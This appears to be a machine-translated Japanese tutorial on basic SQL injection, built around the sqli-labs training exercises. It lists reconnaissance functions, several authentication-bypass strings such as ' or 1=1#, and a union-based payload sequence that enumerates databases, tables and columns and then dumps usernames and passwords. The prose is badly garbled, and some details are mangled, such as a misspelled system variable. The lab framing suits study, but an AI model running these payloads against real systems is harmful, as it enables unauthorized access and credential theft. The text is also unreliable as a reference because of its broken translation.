単純なSQLインジェクションの概要(A)
0x01の
(1)はカテゴリーを注入された:見る人の目には、賢明な知恵を参照してください、ここで説明を省略する。
(2)システムの機能:
いくつかの一般的に使用される機能:
- バージョン() - システムのバージョン。
- データベース() - データベース名。
- ユーザー() - データベースのユーザ名。
- @@ datadir--データベース経路;
- @@ vision_compile_os--オペレーティングシステムのバージョン。
(3)文字列の連結機能
- CONCAT(STR1、STR2、...) - 何の区切り文字列が接続されていません。
- CONCAT_WS( 'セパレータ'、STR1、STR2、...) - 区切り文字を含む接続文字列
- GROUP_CONCAT(STR1、STR2、...) - 接続グループのすべての文字列は、カンマで区切られ、
これら三つの機能は、ライン上のすべてのコンテンツから使い捨て見つけることができるかを詳細に理解する必要はありません。
(4)一般的に文を試すために使用されます
または1 = 1#
'または1 = 1#
''または1 = 1#
)または1 = 1#
')または1 = 1#
'')または1 = 1#
''))または1 = 1#
(5)注意事項
- - +#、/ ** /など
概要
実際には、より多くのSQLインジェクションよりも何も2つの部分に分かれていない、1は、MySQLステートメントを閉じて、2番目の構築、新たな文の実装です。
注入方法及びプロセスの0x02の種々
(1)一般的な注入sqllibs(Less1-4)
#注入点
-1' union select 1,2,3--+
#爆数据库
-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
#爆表
-1' union select 1,group_concat(table_name),3 from information_schema.tables where schema_name='security'--+
#爆字段
-1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
#爆数据
-1‘ union select 1,username,password from users where id=2--+
実行される次の質問に同じSQL文を直接接続方法でちょうど閉じた」の違いは、正常に移植することができる、と言ってもっと支払うことはありません、次のとおりです。
or 1=1
or 1=1 --+
') or '1'=('1'
) or 1=1 --+
“) or ”1”=(“1
“) or 1=1 --+
(2)盲注
注入を行った後、ブラインドと呼ばれるフロントページの文をエコーしません。